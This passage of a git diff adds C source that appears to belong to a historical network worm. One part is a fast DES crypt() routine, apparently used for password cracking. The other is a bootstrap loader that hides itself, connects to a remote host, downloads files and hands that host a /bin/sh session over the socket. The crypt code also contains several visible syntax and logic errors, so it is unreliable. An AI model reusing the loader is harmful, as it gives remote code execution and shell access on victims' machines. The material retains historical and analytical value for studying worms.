0x00000000, 0x00800000, 0x00800000, + 0x80000000, 0x80000000, 0x80800000, 0x80800000, + 0x80000000, 0x80000000, 0x80800000, 0x80800000,}; +int ip_Ha[] = { + 0x00000000, 0x00400040, 0x00000000, 0x00400040, + 0x40004000, 0x40404040, 0x40004000, 0x40404040,}; +int ip_Hb[] = { + 0x00000000, 0x00000000, 0x00400000, 0x00400000, + 0x00000000, 0x00000000, 0x00400000, 0x00400000, + 0x40000000, 0x40000000, 0x40400000, 0x40400000, + 0x40000000, 0x40000000, 0x40400000, 0x40400000,}; +int ip_Hc[] = { + 0x00000000, 0x00200020, 0x00000000, 0x00200020, + 0x20002000, 0x20202020, 0x20002000, 0x20202020,}; +int ip_Hd[] = { + 0x00000000, 0x00000000, 0x00200000, 0x00200000, + 0x00000000, 0x00000000, 0x00200000, 0x00200000, + 0x20000000, 0x20000000, 0x20200000, 0x20200000, + 0x20000000, 0x20000000, 0x20200000, 0x20200000,}; +int ip_He[] = { + 0x00000000, 0x00100010, 0x00000000, 0x00100010, + 0x10001000, 0x10101010, 0x10001000, 0x10101010,}; +int ip_Hf[] = { + 0x00000000, 0x00000000, 0x00100000, 0x00100000, + 0x00000000, 0x00000000, 0x00100000, 0x00100000, + 0x10000000, 0x10000000, 0x10100000, 0x10100000, + 0x10000000, 0x10000000, 0x10100000, 0x10100000,}; +int ipi_L0[] = { + 0x00000000, 0x01000000, 0x00010000, 0x01010000, + 0x00000100, 0x01000100, 0x00010100, 0x01010100, + 0x00000001, 0x01000001, 0x00010001, 0x01010001, + 0x00000101, 0x01000101, 0x00010101, 0x01010101,}; +int ipi_L2[] = { + 0x00000000, 0x04000000, 0x00040000, 0x04040000, + 0x00000400, 0x04000400, 0x00040400, 0x04040400, + 0x00000004, 0x04000004, 0x00040004, 0x04040004, + 0x00000404, 0x04000404, 0x00040404, 0x04040404,}; +int ipi_L4[] = { + 0x00000000, 0x10000000, 0x00100000, 0x10100000, + 0x00001000, 0x10001000, 0x00101000, 0x10101000, + 0x00000010, 0x10000010, 0x00100010, 0x10100010, + 0x00001010, 0x10001010, 0x00101010, 0x10101010,}; +int ipi_L6[] = { + 0x00000000, 0x40000000, 0x00400000, 0x40400000, + 0x00004000, 0x40004000, 0x00404000, 0x40404000, + 0x00000040, 0x40000040, 0x00400040, 0x40400040, + 0x00004040, 0x40004040, 0x00404040, 0x40404040,}; +int ipi_L8[] = { + 0x00000000, 0x02000000, 0x00020000, 0x02020000, + 0x00000200, 0x02000200, 0x00020200, 0x02020200, + 0x00000002, 0x02000002, 0x00020002, 0x02020002, + 0x00000202, 0x02000202, 0x00020202, 0x02020202,}; +int ipi_La[] = { + 0x00000000, 0x08000000, 0x00080000, 0x08080000, + 0x00000800, 0x08000800, 0x00080800, 0x08080800, + 0x00000008, 0x08000008, 0x00080008, 0x08080008, + 0x00000808, 0x08000808, 0x00080808, 0x08080808,}; +int ipi_Lc[] = { + 0x00000000, 0x20000000, 0x00200000, 0x20200000, + 0x00002000, 0x20002000, 0x00202000, 0x20202000, + 0x00000020, 0x20000020, 0x00200020, 0x20200020, + 0x00002020, 0x20002020, 0x00202020, 0x20202020,}; +int ipi_Le[] = { + 0x00000000, 0x80000000, 0x00800000, 0x80800000, + 0x00008000, 0x80008000, 0x00808000, 0x80808000, + 0x00000080, 0x80000080, 0x00800080, 0x80800080, + 0x00008080, 0x80008080, 0x00808080, 0x80808080,}; +int ipi_H1[] = { + 0x00000000, 0x01000000, 0x00010000, 0x01010000, + 0x00000100, 0x01000100, 0x00010100, 0x01010100, + 0x00000001, 0x01000001, 0x00010001, 0x01010001, + 0x00000101, 0x01000101, 0x00010101, 0x01010101,}; +int ipi_H3[] = { + 0x00000000, 0x04000000, 0x00040000, 0x04040000, + 0x00000400, 0x04000400, 0x00040400, 0x04040400, + 0x00000004, 0x04000004, 0x00040004, 0x04040004, + 0x00000404, 0x04000404, 0x00040404, 0x04040404,}; +int ipi_H5[] = { + 0x00000000, 0x10000000, 0x00100000, 0x10100000, + 0x00001000, 0x10001000, 0x00101000, 0x10101000, + 0x00000010, 0x10000010, 0x00100010, 0x10100010, + 0x00001010, 0x10001010, 0x00101010, 0x10101010,}; +int ipi_H7[] = { + 0x00000000, 0x40000000, 0x00400000, 0x40400000, + 0x00004000, 0x40004000, 0x00404000, 0x40404000, + 0x00000040, 0x40000040, 0x00400040, 0x40400040, + 0x00004040, 0x40004040, 0x00404040, 0x40404040,}; +int ipi_H9[] = { + 0x00000000, 0x02000000, 0x00020000, 0x02020000, + 0x00000200, 0x02000200, 0x00020200, 0x02020200, + 0x00000002, 0x02000002, 0x00020002, 0x02020002, + 0x00000202, 0x02000202, 0x00020202, 0x02020202,}; +int ipi_Hb[] = { + 0x00000000, 0x08000000, 0x00080000, 0x08080000, + 0x00000800, 0x08000800, 0x00080800, 0x08080800, + 0x00000008, 0x08000008, 0x00080008, 0x08080008, + 0x00000808, 0x08000808, 0x00080808, 0x08080808,}; +int ipi_Hd[] = { + 0x00000000, 0x20000000, 0x00200000, 0x20200000, + 0x00002000, 0x20002000, 0x00202000, 0x20202000, + 0x00000020, 0x20000020, 0x00200020, 0x20200020, + 0x00002020, 0x20002020, 0x00202020, 0x20202020,}; +int ipi_Hf[] = { + 0x00000000, 0x80000000, 0x00800000, 0x80800000, + 0x00008000, 0x80008000, 0x00808000, 0x80808000, + 0x00000080, 0x80000080, 0x00800080, 0x80800080, + 0x00008080, 0x80008080, 0x00808080, 0x80808080,}; +int SP0[] = { + 0x08000820, 0x00000800, 0x00020000, 0x08020820, + 0x08000000, 0x08000820, 0x00000020, 0x08000000, + 0x00020020, 0x08020000, 0x08020820, 0x00020800, + 0x08020800, 0x00020820, 0x00000800, 0x00000020, + 0x08020000, 0x08000020, 0x08000800, 0x00000820, + 0x00020800, 0x00020020, 0x08020020, 0x08020800, + 0x00000820, 0x00000000, 0x00000000, 0x08020020, + 0x08000020, 0x08000800, 0x00020820, 0x00020000, + 0x00020820, 0x00020000, 0x08020800, 0x00000800, + 0x00000020, 0x08020020, 0x00000800, 0x00020820, + 0x08000800, 0x00000020, 0x08000020, 0x08020000, + 0x08020020, 0x08000000, 0x00020000, 0x08000820, + 0x00000000, 0x08020820, 0x00020020, 0x08000020, + 0x08020000, 0x08000800, 0x08000820, 0x00000000, + 0x08020820, 0x00020800, 0x00020800, 0x00000820, + 0x00000820, 0x00020020, 0x08000000, 0x08020800,}; +int SP1[] = { + 0x00100000, 0x02100001, 0x02000401, 0x00000000, + 0x00000400, 0x02000401, 0x00100401, 0x02100400, + 0x02100401, 0x00100000, 0x00000000, 0x02000001, + 0x00000001, 0x02000000, 0x02100001, 0x00000401, + 0x02000400, 0x00100401, 0x00100001, 0x02000400, + 0x02000001, 0x02100000, 0x02100400, 0x00100001, + 0x02100000, 0x00000400, 0x00000401, 0x02100401, + 0x00100400, 0x00000001, 0x02000000, 0x00100400, + 0x02000000, 0x00100400, 0x00100000, 0x02000401, + 0x02000401, 0x02100001, 0x02100001, 0x00000001, + 0x00100001, 0x02000000, 0x02000400, 0x00100000, + 0x02100400, 0x00000401, 0x00100401, 0x02100400, + 0x00000401, 0x02000001, 0x02100401, 0x02100000, + 0x00100400, 0x00000000, 0x00000001, 0x02100401, + 0x00000000, 0x00100401, 0x02100000, 0x00000400, + 0x02000001, 0x02000400, 0x00000400, 0x00100001,}; +int SP2[] = { + 0x10000008, 0x10200000, 0x00002000, 0x10202008, + 0x10200000, 0x00000008, 0x10202008, 0x00200000, + 0x10002000, 0x00202008, 0x00200000, 0x10000008, + 0x00200008, 0x10002000, 0x10000000, 0x00002008, + 0x00000000, 0x00200008, 0x10002008, 0x00002000, + 0x00202000, 0x10002008, 0x00000008, 0x10200008, + 0x10200008, 0x00000000, 0x00202008, 0x10202000, + 0x00002008, 0x00202000, 0x10202000, 0x10000000, + 0x10002000, 0x00000008, 0x10200008, 0x00202000, + 0x10202008, 0x00200000, 0x00002008, 0x10000008, + 0x00200000, 0x10002000, 0x10000000, 0x00002008, + 0x10000008, 0x10202008, 0x00202000, 0x10200000, + 0x00202008, 0x10202000, 0x00000000, 0x10200008, + 0x00000008, 0x00002000, 0x10200000, 0x00202008, + 0x00002000, 0x00200008, 0x10002008, 0x00000000, + 0x10202000, 0x10000000, 0x00200008, 0x10002008,}; +int SP3[] = { + 0x00000080, 0x01040080, 0x01040000, 0x21000080, + 0x00040000, 0x00000080, 0x20000000, 0x01040000, + 0x20040080, 0x00040000, 0x01000080, 0x20040080, + 0x21000080, 0x21040000, 0x00040080, 0x20000000, + 0x01000000, 0x20040000, 0x20040000, 0x00000000, + 0x20000080, 0x21040080, 0x21040080, 0x01000080, + 0x21040000, 0x20000080, 0x00000000, 0x21000000, + 0x01040080, 0x01000000, 0x21000000, 0x00040080, + 0x00040000, 0x21000080, 0x00000080, 0x01000000, + 0x20000000, 0x01040000, 0x21000080, 0x20040080, + 0x01000080, 0x20000000, 0x21040000, 0x01040080, + 0x20040080, 0x00000080, 0x01000000, 0x21040000, + 0x21040080, 0x00040080, 0x21000000, 0x21040080, + 0x01040000, 0x00000000, 0x20040000, 0x21000000, + 0x00040080, 0x01000080, 0x20000080, 0x00040000, + 0x00000000, 0x20040000, 0x01040080, 0x20000080,}; +int SP4[] = { + 0x80401000, 0x80001040, 0x80001040, 0x00000040, + 0x00401040, 0x80400040, 0x80400000, 0x80001000, + 0x00000000, 0x00401000, 0x00401000, 0x80401040, + 0x80000040, 0x00000000, 0x00400040, 0x80400000, + 0x80000000, 0x00001000, 0x00400000, 0x80401000, + 0x00000040, 0x00400000, 0x80001000, 0x00001040, + 0x80400040, 0x80000000, 0x00001040, 0x00400040, + 0x00001000, 0x00401040, 0x80401040, 0x80000040, + 0x00400040, 0x80400000, 0x00401000, 0x80401040, + 0x80000040, 0x00000000, 0x00000000, 0x00401000, + 0x00001040, 0x00400040, 0x80400040, 0x80000000, + 0x80401000, 0x80001040, 0x80001040, 0x00000040, + 0x80401040, 0x80000040, 0x80000000, 0x00001000, + 0x80400000, 0x80001000, 0x00401040, 0x80400040, + 0x80001000, 0x00001040, 0x00400000, 0x80401000, + 0x00000040, 0x00400000, 0x00001000, 0x00401040,}; +int SP5[] = { + 0x00000104, 0x04010100, 0x00000000, 0x04010004, + 0x04000100, 0x00000000, 0x00010104, 0x04000100, + 0x00010004, 0x04000004, 0x04000004, 0x00010000, + 0x04010104, 0x00010004, 0x04010000, 0x00000104, + 0x04000000, 0x00000004, 0x04010100, 0x00000100, + 0x00010100, 0x04010000, 0x04010004, 0x00010104, + 0x04000104, 0x00010100, 0x00010000, 0x04000104, + 0x00000004, 0x04010104, 0x00000100, 0x04000000, + 0x04010100, 0x04000000, 0x00010004, 0x00000104, + 0x00010000, 0x04010100, 0x04000100, 0x00000000, + 0x00000100, 0x00010004, 0x04010104, 0x04000100, + 0x04000004, 0x00000100, 0x00000000, 0x04010004, + 0x04000104, 0x00010000, 0x04000000, 0x04010104, + 0x00000004, 0x00010104, 0x00010100, 0x04000004, + 0x04010000, 0x04000104, 0x00000104, 0x04010000, + 0x00010104, 0x00000004, 0x04010004, 0x00010100,}; +int SP6[] = { + 0x40084010, 0x40004000, 0x00004000, 0x00084010, + 0x00080000, 0x00000010, 0x40080010, 0x40004010, + 0x40000010, 0x40084010, 0x40084000, 0x40000000, + 0x40004000, 0x00080000, 0x00000010, 0x40080010, + 0x00084000, 0x00080010, 0x40004010, 0x00000000, + 0x40000000, 0x00004000, 0x00084010, 0x40080000, + 0x00080010, 0x40000010, 0x00000000, 0x00084000, + 0x00004010, 0x40084000, 0x40080000, 0x00004010, + 0x00000000, 0x00084010, 0x40080010, 0x00080000, + 0x40004010, 0x40080000, 0x40084000, 0x00004000, + 0x40080000, 0x40004000, 0x00000010, 0x40084010, + 0x00084010, 0x00000010, 0x00004000, 0x40000000, + 0x00004010, 0x40084000, 0x00080000, 0x40000010, + 0x00080010, 0x40004010, 0x40000010, 0x00080010, + 0x00084000, 0x00000000, 0x40004000, 0x00004010, + 0x40000000, 0x40080010, 0x40084010, 0x00084000,}; +int SP7[] = { + 0x00808200, 0x00000000, 0x00008000, 0x00808202, + 0x00808002, 0x00008202, 0x00000002, 0x00008000, + 0x00000200, 0x00808200, 0x00808202, 0x00000200, + 0x00800202, 0x00808002, 0x00800000, 0x00000002, + 0x00000202, 0x00800200, 0x00800200, 0x00008200, + 0x00008200, 0x00808000, 0x00808000, 0x00800202, + 0x00008002, 0x00800002, 0x00800002, 0x00008002, + 0x00000000, 0x00000202, 0x00008202, 0x00800000, + 0x00008000, 0x00808202, 0x00000002, 0x00808000, + 0x00808200, 0x00800000, 0x00800000, 0x00000200, + 0x00808002, 0x00008000, 0x00008200, 0x00800002, + 0x00000200, 0x00000002, 0x00800202, 0x00008202, + 0x00808202, 0x00008002, 0x00808000, 0x00800202, + 0x00800002, 0x00000202, 0x00008202, 0x00808200, + 0x00000202, 0x00800200, 0x00800200, 0x00000000, + 0x00008002, 0x00008200, 0x00000000, 0x00808002,}; +int PC1[] = { + 0x10000000, 0x00000000, 0x00100000, 0x00000000, + 0x00001000, 0x00000000, 0x00000010, 0x00000000, + 0x00000000, 0x00010000, 0x00000000, 0x01000000, + 0x00000001, 0x00000000, 0x00000000, 0x00000000, + 0x20000000, 0x00000000, 0x00200000, 0x00000000, + 0x00002000, 0x00000000, 0x00000020, 0x00000000, + 0x00000000, 0x00020000, 0x00000000, 0x02000000, + 0x00000002, 0x00000000, 0x00000000, 0x00000000, + 0x40000000, 0x00000000, 0x00400000, 0x00000000, + 0x00004000, 0x00000000, 0x00000040, 0x00000000, + 0x00000000, 0x00040000, 0x00000000, 0x04000000, + 0x00000004, 0x00000000, 0x00000000, 0x00000000, + 0x80000000, 0x00000000, 0x00800000, 0x00000000, + 0x00008000, 0x00000000, 0x00000080, 0x00000000, + 0x00000000, 0x00080000, 0x00000000, 0x08000000, + 0x00000008, 0x00000000, 0x00000000, 0x00000000, + 0x01000000, 0x00000000, 0x00010000, 0x00000000, + 0x00000100, 0x00000000, 0x00000000, 0x00000100, + 0x00000000, 0x00001000, 0x00000000, 0x00100000, + 0x00000000, 0x10000000, 0x00000000, 0x00000000, + 0x02000000, 0x00000000, 0x00020000, 0x00000000, + 0x00000200, 0x00000000, 0x00000000, 0x00000200, + 0x00000000, 0x00002000, 0x00000000, 0x00200000, + 0x00000000, 0x20000000, 0x00000000, 0x00000000, + 0x04000000, 0x00000000, 0x00040000, 0x00000000, + 0x00000400, 0x00000000, 0x00000000, 0x00000400, + 0x00000000, 0x00004000, 0x00000000, 0x00400000, + 0x00000000, 0x40000000, 0x00000000, 0x00000000, + 0x08000000, 0x00000000, 0x00080000, 0x00000000, + 0x00000800, 0x00000000, 0x00000000, 0x00000800, + 0x00000000, 0x00008000, 0x00000000, 0x00800000, + 0x00000000, 0x80000000, 0x00000000, 0x00000000,}; +int PC2[] = { + 0x00000000, 0x20000000, 0x00000000, 0x00800000, + 0x00000000, 0x00000000, 0x00000000, 0x00040000, + 0x00000010, 0x00000000, 0x00000000, 0x00000000, + 0x00000000, 0x02000000, 0x00000001, 0x00000000, + 0x00000080, 0x00000000, 0x00000000, 0x00100000, + 0x00000000, 0x00000000, 0x00000000, 0x08000000, + 0x00000000, 0x40000000, 0x00000000, 0x00200000, + 0x00000008, 0x00000000, 0x00000000, 0x10000000, + 0x00000000, 0x04000000, 0x00000000, 0x00080000, + 0x00000000, 0x80000000, 0x00000040, 0x00000000, + 0x00000000, 0x00400000, 0x00000000, 0x00000000, + 0x00000004, 0x00000000, 0x00000000, 0x01000000, + 0x00000000, 0x00000000, 0x00000000, 0x00000000, + 0x00000000, 0x00000000, 0x00000000, 0x00000000, + 0x00000000, 0x00000000, 0x00000000, 0x00000000, + 0x00000000, 0x00000000, 0x00000000, 0x00000000, + 0x08000000, 0x00000000, 0x00000100, 0x00000000, + 0x02000000, 0x00000000, 0x00010000, 0x00000000, + 0x04000000, 0x00000000, 0x00400000, 0x00000000, + 0x00001000, 0x00000000, 0x00004000, 0x00000000, + 0x00000000, 0x00000000, 0x00100000, 0x00000000, + 0x20000000, 0x00000000, 0x00020000, 0x00000000, + 0x00000200, 0x00000000, 0x80000000, 0x00000000, + 0x00800000, 0x00000000, 0x00002000, 0x00000000, + 0x40000000, 0x00000000, 0x00000000, 0x00000000, + 0x00040000, 0x00000000, 0x00000400, 0x00000000, + 0x00200000, 0x00000000, 0x00000000, 0x00000000, + 0x00080000, 0x00000000, 0x10000000, 0x00000000, + 0x00000000, 0x00000000, 0x00008000, 0x00000000, + 0x00000800, 0x00000000, 0x01000000, 0x00000000, + 0x00000000, 0x00020000, 0x00000002, 0x00000000, + 0x00000020, 0x00000000, 0x00000000, 0x00010000,}; + +static extra; +char E[48]; /* 0x255c4 */ + +char *crypt(passwd, salt) /* 0x68f8 */ + char *passwd, *salt; +{ + int temp, l8; + register i, j; + register c; /*d7, d6, d5*/ + static char iobuf[10]; /* 0x27f34 */ + static unsigned x27f44; + static unsigned x27f48; + + x27f44 = 0; + x27f48 = 0; + + for( i = 0; i < 48; i++) + E[i] = e[i]; + + for(i = 0; (c = *passwd) && (i < 32); i++, passwd++) + for(j = 0; j < 7; j++, i++) { + l8 = (c >> (6 - j)) & 01; + x27f44 |= (l8 << (31 - i)); + } + + for (i = 0; (c = *passwd) && (i < 32); i++, passwd++) + for(j = 0; j < 7; j++, i++) { + l8 = (c >> (6 - j)) & 01; + x27f48 |= (l8 << (31 - i)); + } + + compkeys(&x27f44, 0); + + for(i=0;i<2;i++){ + c = *salt++; + iobuf[i] = c; + if(c>'Z') c -= 6; + if(c>'9') c -= 7; + c -= '.'; + for(j=0;j<6;j++){ + if((c>>j) & 01){ + temp = E[6*i+j]; + E[6*i+j] = E[6*i+j+24]; + E[6*i+j+24] = temp; + } + } + } + + mungE(); + x27f44 = 0; + x27f48 = 0; + des(&x27f44, &x27f44); + ipi(&x27f44, &x27f44); + + for(i=0; i<11; i++){ + c = x27f44 >> 26; + x27f44 = x27f44 << 6; + x27f44 |= x27f48 >> 26; + x27f48 = x27f48 << 6; + c += '.'; + if(c > '9') c += 7; + if(c > 'Z') c += 6; + iobuf[i+2] = c; + } + iobuf[i+2] = 0; + if(iobuf[1] == 0) + iobuf[1] = iobuf[0]; + return(iobuf); +} + +int E_H[8][16]; /* 0x251c4 */ +int E_L[8][16]; /* 0x253c4 */ +mungE() /* 0x6b2a */ +{ + register i, j, d5, d4, d3, d2; + register *a5, *a4; + int l28; + + for(i = 0; i < 8; i++) { + a5 = E_L[i]; + a4 = E_H[i]; + for(j = 0; j < 16; j++) { + *a5++ = 0; + *a4++ = 0; + } + } + for (j = 0; j < 32; j++) { + d2 = 1 << (31 - j); + d3 = 31 - E[j]; + d4 = 1 << (d3 & 3); + a5 = E_L[d3 >> 2]; + for (i = 1; i < 16; i++) + if (i & d4) + a5[i] |= d2; + } + for (j = 32; j < 48; j++) { + d2 = 1 << (63-j); + d3 = 31 - E[j]; + d4 = 1 << (d3 & 3); + a5 = E_H[d3 >> 2]; + for (i = 1; i < 16; i++) + if (i & d4) + a5[i] |= d2; + } +} + +int keys_H[16], keys_L[16]; /* 0x255f4,0x25634 */ + +compkeys(iptr, key) /* 0x6c04 */ + int *iptr; +{ + int i, l8, l12, l16; + register d7, d6, d5, d4, d3, d2; + + d7 = 0; + d6 = 0; + for (d3 = 0, d2 = iptr[1]; d3 < 64; d2*=2, d3+=2) + if (d2 < 0) { + d7 |= PC1[d3]; + d6 |= PC1[d3+1]; + } + + for (d2 = iptr[0]; d3 < 128; d2*=2, d3+=2) + if (d2 < 0) { + d7 |= PC1[d3]; + d6 |= PC1[d3+1]; + } + + + for (i = 0; i < 16; i++) { + for (d2 = 0; d2 < shift[i]; d2++) { + l16 = l12 = l8 = 0; + if (d7 < 0) + l8 = 16; + if (d7 & 0x08) + l12 = 256; + if (d6 < 0) + l16 = 1; + d7 = ((d7 << 1) & ~0x10) | l8 | l16; + d6 = (d6 << 1) | l12; + } + + + d5 = 0; + d4 = 0; + for (d3=0, d2=d6; d3 < 64; d2*=2, d3+=2) { + if (d2 < 0) { + d5 |= PC2[d3]; + d4 |= PC2[d3+1]; + } + } + for (d2=d7; d3 < 128; d2*=2, d3+=2) { + if (d2 < 0) { + d5 |= PC2[d3]; + d4 |= PC2[d3+1]; + } + } + + if (key) { + keys_L[15-i] = d5; + keys_H[15-i] = d4; + } else { + keys_L[i] = d5; + keys_H[i] = d4; + } + } + +} + +setupE() +{ + int i, j, l12; + + for(i = 0; i < 8; i++) + for(j = 0; j < 16; j++) + E_H[i][j] = E_H[i][j] = 0; + + for (j = 0; j < 32; j++) { + l12 = 31 - E[j]; + for (i = 0; i < 16; i++) + if ((1 << (l12 % 4)) & i) + E_L[l12 / 4][i] |= (1 << (31 - j)); + } + + for (j = 32; j < 48; j++) { + l12 = 31 - E[j]; + for (i = 0; i < 16; i++) + if ((1 << (l12 % 4)) & i) + E_H[l12 / 4][i] |= (1 << (63 - j)); + } +} + +des(adr1, adr2) + int *adr1, *adr2; +{ + int l4, *l8, *l12, l16; + register unsigned d7; + register unsigned d6, d5; + register d4, d3, d2; + + l4 = adr1[0]; + d2 = adr1[1]; + for (l16 = 0; l16 < 25; l16++) { + l8 = keys_L; + l12 = keys_H; + for( d3 = 0; d3 < 16; d3++) { + d5 = d2; + d7 = E_L[0][d4 = d5 & 0x0f]; + d6 = E_H[0][d4]; + d5 >>= 4; + d7 |= E_L[1][d4 = (d5 & 0x0f)]; + d6 |= E_H[1][d4]; + d5 >>= 4; + d7 |= E_L[2][d4 = (d5 & 0x0f)]; + d6 |= E_H[2][d4]; + d5 >>= 4; + d7 |= E_L[3][d4 = (d5 & 0x0f)]; + d6 |= E_H[3][d4]; + d5 >>= 4; + d7 |= E_L[4][d4 = (d5 & 0x0f)]; + d6 |= E_H[4][d4]; + d5 >>= 4; + d7 |= E_L[5][d4 = (d5 & 0x0f)]; + d6 |= E_H[5][d4]; + d5 >>= 4; + d7 |= E_L[6][d4 = (d5 & 0x0f)]; + d6 |= E_H[6][d4]; + d5 >>= 4; + d7 |= E_L[7][d4 = (d5 & 0x0f)]; + d6 |= E_H[7][d4]; + d7 ^= *l8++; + d6 ^= *l12++; + + d5 = SPO[(d6 >> 16) & 0x3f]; + d5 |= SP1[(d6 >> 22) & 00x3f]; + d5 |= SP2[((d7 & 0x03) << 4) | ((d6 >> 28) & 0x0f)]; + d5 |= SP3[(d7 >> 2) & 0x3f]; + d5 |= SP4[(d7 >> 8) & 0x3f]; + d5 |= SP5[(d7 >> 14) & 0x3f]; + d5 |= SP6[(d7 >> 20) & 0x3f]; + d5 |= SP7[(d7 >> 26) & 0x3f]; + { d6 = 14; + l4 = d2; + d2 = d6 ^ d5; + } + } + d5 = l4; + l4 = d2; + d2 = d5; + } + adr2[0] = l4; + adr2[1] = d2; +} +ipi(iptr1, iptr2) + int *iptr1, *iptr2; +{ + register unsigned d7, d6, d5; + + d5 = iptr1[0]; + d7 = ipi_L0[d5 & 0x0f]; + d5 = >>= 4; + d6 = ipi_H1[d5 & 0x0f]; + + d5 >>= 4; + d7 |= ipi_L2[d5 & 0x0f]; + d5 >>= 4; + d6 |= ipi_H3[d5 & 0x0f]; + + d5 >>= 4; + d7 |= ipi_L4[d5 & 0x0f]; + d5 >>= 4; + d6 |= ipi_H5[d5 & 0x0f]; + + d5 >>= 4; + d7 | ipi_L6[d5 & 0x0f]; + d5 >>=4; + d6 |= ipi_H7[d5 & 0x0f]; + + d5 = iptr1[1]; + d7 |= ipi_L8[d5 & 0x0f]; + d5 >>= 4; + d6 |= ipi_H9[d5 & 0x0f]; + + d5 >>= 4; + d7 |= ipi_La[d5 & 0x0f]; + d5 >>= 4; + d6 |= ipi_Hb[d5 & 0x0f]; + + d5 >>=4; + d7 |= ipi_Lc[d5 & 0x0f]; + d5 >>= 4; + d6 |= ipi_Hd[d5 & 0x0f]; + + d5 >>= 4; + d7 |= ipi_Le[d5 & 0x0f]; + d5 >>= 4; + d6 |= ipi_Hf[d5 & 0x0f]; + + iptr2[0] = d7; + ipyr2[1] = d6; +} + +/* + * Local variables: + * compile-command: "make" + * comment-collumn: 48 + * End: + */ diff --git a/x8113550.c b/x8113550.c new file mode 100644 index 0000000..7ed6504 --- /dev/null +++ b/x8113550.c @@ -0,0 +1,100 @@ +#include +#include +#include +#include + +main(argc, argv) +char *argv[]; +{ + struct sockaddr_in sin; + int s, i, magic, nfiles, j, len, n; + FILE *fp; + char files[20][128]; + char buf[2048], *p; + + unlink(argv[0]); + if(argc != 4) + exit(1); + for(i = 0; i < 32; i++) + close(i); + i = fork(); + if(i < 0) + exit(1); + if(i > 0) + exit(0); + + bzero(&sin, sizeof(sin)); + sin.sin_family = AF_INET; + sin.sin_addr.s_addr = inet_addr(argv[1]); + sin.sin_port = htons(atoi(argv[2])); + magic = htonl(atoi(argv[3])); + + for(i = 0; i < argc; i++) + for(j = 0; argv[i][j]; j++) + argv[i][j] = '\0'; + + s = socket(AF_INET, SOCK_STREAM, 0); + if(connect(s, &sin, sizeof(sin)) < 0){ + perror("l1 connect"); + exit(1); + } + dup2(s, 1); + dup2(s, 2); + + write(s, &magic, 4); + + nfiles = 0; + while(1){ + if(xread(s, &len, 4) != 4) + goto bad; + len = ntohl(len); + if(len == -1) + break; + + if(xread(s, &(files[nfiles][0]), 128) != 128) + goto bad; + + unlink(files[nfiles]); + fp = fopen(files[nfiles], "w"); + if(fp == 0) + goto bad; + nfiles++; + + while(len > 0){ + n = sizeof(buf); + if(n > len) + n = len; + n = read(s, buf, n); + if(n <= 0) + goto bad; + if(fwrite(buf, 1, n, fp) != n) + goto bad; + len -= n; + } + fclose(fp); + } + + execl("/bin/sh", "sh", 0); +bad: + for(i = 0; i < nfiles; i++) + unlink(files[i]); + exit(1); +} + +static +xread(fd, buf, n) +char *buf; +{ + int cc, n1; + + n1 = 0; + while(n1 < n){ + cc = read(fd, buf, n - n1); + if(cc <= 0) + return(cc); + buf += cc; + n1 += cc; + } + return(n1); +} +int zz;